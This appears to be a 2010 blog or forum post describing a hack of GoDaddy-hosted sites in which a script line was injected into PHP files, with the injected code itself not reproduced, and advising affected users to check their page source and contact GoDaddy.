I'm sure some of you may be aware of the situation But as of yesterday (May 1, 2010) at around 2 AM, there was a major hack attempt on GoDaddy. At about 10 AM, GoDaddy Tweeted about this matter (See Tweet: http://twitter.com/GoDaddy/status/13199601776). The issue has not affected all of their hosting accounts and is still being investigated. The issue is not due to a flaw in WordPress as GoDaddy claims, a friend has a site that only has her own hand written PHP code and nothing more. Despite taking my friend is super obsessive about security and knows for a fact her FTP account was not compromised, she found all the PHP files on her server to be infected, even those not publicly available.
When you view the source of any of the PHP pages through the browser, you see the following line inserted just before the </body> tag:
I don't really understand what this code exactly does. Can any PHP code experts decipher it?
GoDaddy claimed they will investigate the issue but when my friend called, she found the tech support staff were completely oblivious to the matter.
So, if you are one of the unlucky ones whose server was a part of the attack, please check the bottom of your source code to make sure the <script> tag isn't there. Otherwise contact GoDaddy and complain.
